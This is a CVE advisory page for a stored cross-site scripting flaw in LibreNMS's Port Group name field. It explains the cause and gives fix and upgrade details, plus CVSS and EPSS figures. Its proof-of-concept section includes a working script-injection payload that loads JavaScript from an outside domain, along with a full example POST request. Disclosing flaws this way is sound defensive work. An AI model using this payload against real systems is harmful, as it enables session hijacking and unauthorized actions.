CVE-2024-50350 — Vulnerability in librenms/librenms — CVE Details
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.60%). Schedule for your next planned update.
Does your project use an affected librenms/librenms version?
Paste your composer.lock to check it for CVE-2024-50350 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.
Details
When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter:
<script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name" parameter. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69
PoC
- Create a new Port Group using the following payload in the "name" parameter:
name<script/src=//15.rs></script> - Add the Port Group to a device's port settings.
- Reload the "Port Settings" page.
- Observe that the injected script executes.
Example Request:
POST /port-groups HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
Advisory Timeline
- First published November 15, 2024 (741 days ago).
- Last revised November 15, 2024 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "librenms/librenms:^24.10.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| librenms/librenms Packagist · Affected: 1.19, 1.20, 1.20.1, 1.21 (+126 more) | 24.10.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-79Cross-site Scripting (XSS)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
References
Frequently Asked Questions
- What is CVE-2024-50350?
- LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
- How do I check if my project is affected by CVE-2024-50350?
- CVE-2024-50350 affects librenms/librenms. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-50350 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 43% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-55182HIGH
LibreNMS Vulnerable to Remote Code Execution by Signal Alert Transportation module
- CVE-2024-32461HIGH
LibreNMS vulnerable to SQL injection time-based leads to database extraction
- CVE-2024-47524HIGH
LibreNMS has Stored Cross-site Scripting vulnerability in "Device Group" Name
- CVE-2024-49754HIGH
LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php
- CVE-2025-54138HIGH
LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE
- CVE-2025-62411MEDIUM
LibreNMS has a Stored XSS vulnerability in its Alert Transport name field
- CVE-2025-23201MEDIUM
Librenms has a reflected XSS on error alert
- CVE-2024-47526LOW
LibreNMS has Stored Cross-site Scripting vulnerability in "Alert Templates" feature